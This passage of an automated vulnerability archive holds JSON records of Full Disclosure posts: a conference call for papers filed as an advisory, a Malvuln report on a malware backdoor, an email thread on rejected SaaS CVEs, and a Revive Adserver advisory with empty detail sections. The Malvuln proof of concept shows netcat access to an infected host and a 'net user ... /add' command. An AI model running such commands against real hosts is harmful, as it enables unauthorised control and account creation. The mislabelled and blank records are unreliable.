          "url": "https://www.ares-conference.eu/submission-guidelines"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/9"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[IWCC 2026] CfP: 15th International Workshop on Cyber Crime - Link\u00f6ping, Sweden, Aug 24-27, 2026",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0238",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/9",
            "automated": true,
            "contentSha256": "2daf9e4b443b51a16188f9f8b247a7065a75cf088a35941506a47f6e4f974c29",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/9",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-27T12:19:12Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:41Z",
    "dateUpdated": "2026-09-08T08:13:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0238"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Trojan-Spy.Win32.Small /",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "malvuln"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2026\nOriginal source:\nhttps://malvuln.com/advisory/8c15ec5f0137d097a345b693f0bffedb.txt\nMalvuln Intelligence Feed: https://intel.malvuln.com/\nContact: malvuln13 () gmail com\nMedia: x.com/malvuln\n\nThreat: Trojan-Spy.Win32.Small\nVulnerability: Remote Command Execution\nDescription: The malware opens a listener on TCP port 65535, allowing\nunauthenticated remote attackers with network access to execute\narbitrary operating system commands on the infected host.\nFamily: Small\nType: PE32\nAttack-pattern TTP: Command and Scripting Interpreter (T1059)\nMD5: 8c15ec5f0137d097a345b693f0bffedb\nSHA256: 72fde71106a31ada61b6beea14256b8609e18f7f7818a19e06318dee67ab655b\nVuln ID: MVID-2026-0705\nDisclosure: 04/20/2026\n\nExploit/PoC:\nnc64.exe x.x.x.x 65535\nMicrosoft Windows [Version 10.0.16299.309]\n(c) 2017 Microsoft Corporation. All rights reserved.\n\nC:\\Users\\victim\\Desktop\u003ewhoami\nwhoami\ndesktop-2c3iqho\\victim\ncalc\nC:\\\u003enet user hubert abc123 /add\nnet user hubert abc123 /add\nThe command completed successfully.\nexit\n\nDisclaimer: The information contained within this advisory is supplied\n\"as-is\" with no warranties or guarantees of fitness of use or\notherwise. Permission is hereby granted for the redistribution of this\nadvisory, provided that it is not altered except by reformatting it,\nand that due credit is given. Permission is explicitly given for\ninsertion in vulnerability databases and similar, provided that due\ncredit is given to the author. The author is not responsible for any\nmisuse of the information contained herein and accepts no\nresponsibility for any damage caused by the use or misuse of this\ninformation. The author prohibits any malicious use of security\nrelated information or exploits by the author or elsewhere. Do not\nattempt to download Malware samples. The author of this website takes\nno responsibility for any kind of damages occurring from improper\nMalware handling or the downloading of ANY Malware mentioned on this\nwebsite or elsewhere. All content Copyright (c) Malvuln.com (TM).\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T08:13:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/10"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/10"
        },
        {
          "url": "https://intel.malvuln.com/"
        },
        {
          "url": "https://malvuln.com/advisory/8c15ec5f0137d097a345b693f0bffedb.txt"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/10"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Trojan-Spy.Win32.Small / Remote Command Execution",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0236",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/10",
            "automated": true,
            "contentSha256": "e9ddbb3b3c74289ca7de586408f661f46299498dfb3f69cbb546fc461a88fc18",
            "evidenceScore": 6,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/10",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-21T01:30:40Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:41Z",
    "dateUpdated": "2026-09-08T08:13:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0236"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "unknown",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Wade Sparks"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Hello Yuffie,\n\nUpon further investigation, the VulnCheck CNA determined that these\nvulnerabilities were not suitable for CVE assignment. The\nvulnerabilities exist within a SaaS product and are mitigated at the\nCSP-level which in this case, would be the vendor, EQS Group. Rather than\ncontribute unactionable CVE records, the VulnCheck CNA used its\ndiscretionary prowess to move forward with rejecting these records. This\npolicy aligns with a 2022 blog from MITRE\n\u003chttps://www.cve.org/Media/News/item/blog/2022/09/13/Dispelling-the-Myth-CVE-ID\u003e.\nIt\nshould be noted that the vendor informed us that they have published\nadvisories for the respective vulnerabilities in their \"Trust Center\"\ncustomer portal.\n\nThese actions should not be a deterrent for you to pursue CVE assignment\nthrough MITRE or another research CNA.\n\nBest regards,\n\n\u003chttps://www.vulncheck.com/\u003e\n\nWade Sparks III\nVulnCheck\nSenior Vulnerability Analyst\n\n\nOn Tue, Jan 20, 2026 at 12:13\u202fPM Yuffie Kisaragi \u003c\nyuffie.kisaragi () atomicmail io\u003e wrote:\n\n\n\nDear Art,\n\nThank you for sharing your detailed evaluation and for pointing out the\nrelevant sections of the CNA Rules.\n\nYour argument is well reasoned, particularly with respect to the current\nguidance on SaaS and exclusively hosted services.\n\nI have forwarded your evaluation to the CNA for further consideration. It\nwill also be important to understand the vendor\u2019s perspective in light of\nthe points you raised, especially regarding the applicability of the\n\u201cexclusively-hosted-service\u201d tag and the removal of prior restrictions.\n\nWe look forward to receive transparent feedback from the CNA and/or the\nvendor.\n\nTo date, the vendor has remained silent with regard to informing their\nusers about the reported issues. As far as we can determine, no public\nadvisory or user-facing communication has been issued via their\nvulnerability reporting channel (\nhttps://www.eqs.com/report-a-vulnerability/) or elsewhere.\n\nBest regards,\n\nYuffie\n\nOn Tue, Jan 20, 2026 at 7:26 PM \u003czmanion () protonmail com\u003e wrote:\n\nHi,\n\nthe vulnerabilities are no longer considered eligible for CVE tracking,\ndespite being real, independently discovered, responsibly disclosed, and\nacknowledged by the vendor.\nCVE IDs *can* be assigned for SaaS or similarly \"cloud only\" software.\nFor a period of time, there was a restriction that only the provider could\nmake or request such an assignment. But the current CVE rules remove this\nrestriction:\n\n4.2.3 CNAs MUST NOT consider the type of technology (e.g., cloud,\non-premises, artificial intelligence, machine learning) as the sole basis\nfor determining assignment.\n\nIt would have been acceptable (even preferred) to leave CVE-2025-34411\nand CVE-2025-34412 published and identify them as affecting an\n\"exclusively-hosted-service:\"\n\n5.1.11.1 (A CVE Record) MUST use the \u201cexclusively-hosted-service\u201d tag\nwhen all known Products listed in the CVE Record exist only as fully hosted\nservices. If the Vulnerability affects both hosted services and on-premises\nProducts, then this tag MUST NOT be used.\n\nRules: https://www.cve.org/resourcessupport/allresources/cnarules\n\nRegards,\n\n- Art\n\n\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:43Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/21"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/21"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cve.org/Media/News/item/blog/2022/09/13/Dispelling-the-Myth-CVE-ID"
        },
        {
          "url": "https://www.cve.org/resourcessupport/allresources/cnarules"
        },
        {
          "url": "https://www.eqs.com/report-a-vulnerability/"
        },
        {
          "url": "https://www.vulncheck.com/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/21"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Re: Multiple Security Misconfigurations and Customer Enumeration Exposure in Convercent Whistleblowing Platform (EQS Group)",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-34411",
              "type": "related"
            },
            {
              "destId": "CVE-2025-34412",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0229",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/21",
            "automated": true,
            "contentSha256": "129a3df9c6db4589d4f36748522adb23150a18cc4a4a985706b7c7951e66992c",
            "evidenceScore": 5,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/21",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-21T16:29:03Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0229"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:43Z",
    "dateUpdated": "2026-09-08T07:57:43Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0229"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Revive Adserver Vulnerabilities",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matteo Beccati"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "========================================================================\nRevive Adserver Security Advisory                     REVIVE-SA-2026-001\n------------------------------------------------------------------------\nhttps://www.revive-adserver.com/security/revive-sa-2026-001\n------------------------------------------------------------------------\nDate:                  2026-01-14\nRisk Level:            High\nApplications affected: Revive Adserver\nVersions affected:     \u003c= 6.0.4\nVersions not affected: \u003e= 6.0.5\nWebsite:               https://www.revive-adserver.com/\n========================================================================\n\n\n========================================================================\nVulnerability 1: Format string injection\n========================================================================\nVulnerability Type:    Use of Externally-Controlled Format String\n                       [CWE-134]\nCVE-ID:                CVE-2026-21640\nRisk level:            Low\nCVSS Base Score:       2.7\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L\n========================================================================\n\nDescription\n-----------\n\n\nDetails\n-------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3445332\nhttps://github.com/revive-adserver/revive-adserver/commit/c40187d8\nhttps://cwe.mitre.org/data/definitions/134.html\n\n\n========================================================================\nVulnerability 2: Authorization Bypass\n========================================================================\nVulnerability Type:    Authorization Bypass Through User-Controlled Key\n                       [CWE-639]\nCVE-ID:                CVE-2026-21641\nRisk level:            High\nCVSS Base Score:       7.1\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L\n========================================================================\n\nDescription\n-----------\n\n\nDetails\n-------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3445710\nhttps://github.com/revive-adserver/revive-adserver/commit/f6059335\nhttps://cwe.mitre.org/data/definitions/639.html\n\n\n========================================================================\nVulnerability 3: Reflected XSS\n========================================================================\nVulnerability Type:    Improper Neutralization of Input During Web Page\n                       Generation (\u2018Cross-site Scripting\u2019) [CWE-79]\nCVE-ID:                CVE-2026-21642\nRisk level:            Medium\nCVSS Base Score:       6.1\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\n\nDetails\n-------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3470970\nhttps://github.com/revive-adserver/revive-adserver/commit/e245a88\nhttps://github.com/revive-adserver/revive-adserver/commit/0ebc96d\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\nVulnerability 4: Reflected XSS\n========================================================================\nVulnerability Type:    Improper Neutralization of Input During Web Page\n                       Generation (\u2018Cross-site Scripting\u2019) [CWE-79]\nCVE-ID:                CVE-2026-21663\nRisk level:            Medium\nCVSS Base Score:       6.1\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\n\nDetails\n-------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3473696\nhttps://github.com/revive-adserver/revive-adserver/commit/c130eb0\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\nVulnerability 5: Reflected XSS\n========================================================================\nVulnerability Type:    Improper Neutralization of Input During Web Page\n                       Generation (\u2018Cross-site Scripting\u2019) [CWE-79]\nCVE-ID:                CVE-2026-21664\nRisk level:            Medium\nCVSS Base Score:       6.1\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\n\nDetails\n-------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3468169\nhttps://github.com/revive-adserver/revive-adserver/commit/e88e9ed\nhttps://github.com/revive-adserver/revive-adserver/commit/7a99f69\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\nSolution\n========================================================================\n\n\n\n\n========================================================================\nContact Information\n========================================================================\n\nThe security contact for Revive Adserver can be reached at:\n\u003csecurity AT revive-adserver DOT com\u003e.\n\n\n\n\n--\nMatteo Beccati\nOn behalf of the Revive Adserver Team\nhttps://www.revive-adserver.com/\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-134",
              "description": "CWE-134",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-639",
              "description": "CWE-639",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-79",
              "description": "CWE-79",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:43Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/19"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/19"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/134.html"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/639.html"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/79.html"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/0ebc96d"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/7a99f69"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/c130eb0"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/c40187d8"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/e245a88"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/e88e9ed"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/f6059335"
        },
        {
          "url": "https://hackerone.com/reports/3445332"
        },
        {
          "url": "https://hackerone.com/reports/3445710"
        },
        {
          "url": "https://hackerone.com/reports/3468169"
        },
        {
          "url": "https://hackerone.com/reports/3470970"
        },
        {
          "url": "https://hackerone.com/reports/3473696"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.revive-adserver.com/"
        },
        {
          "url": "https://www.revive-adserver.com/security/revive-sa-2026-001"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/19"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[REVIVE-SA-2026-001] Revive Adserver Vulnerabilities",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-21640",
              "type": "related"
            },
            {
              "destId": "CVE-2026-21641",
              "type": "related"
            },
            {
              "destId": "CVE-2026-21642",
              "type": "related"
            },
            {
              "destId": "CVE-2026-21663",
              "type": "related"
            },
            {
              "destId": "CVE-2026-21664",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0227",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/19",
            "automated": true,
            "contentSha256": "3cc90b37896729de9b4382b0e85f8f06d38ebf529ecfe7b27dd12029dffd23ac",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/19",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-14T12:39:23Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0227"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:43Z",
    "dateUpdated": "2026-09-08T07:57:43Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0227"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}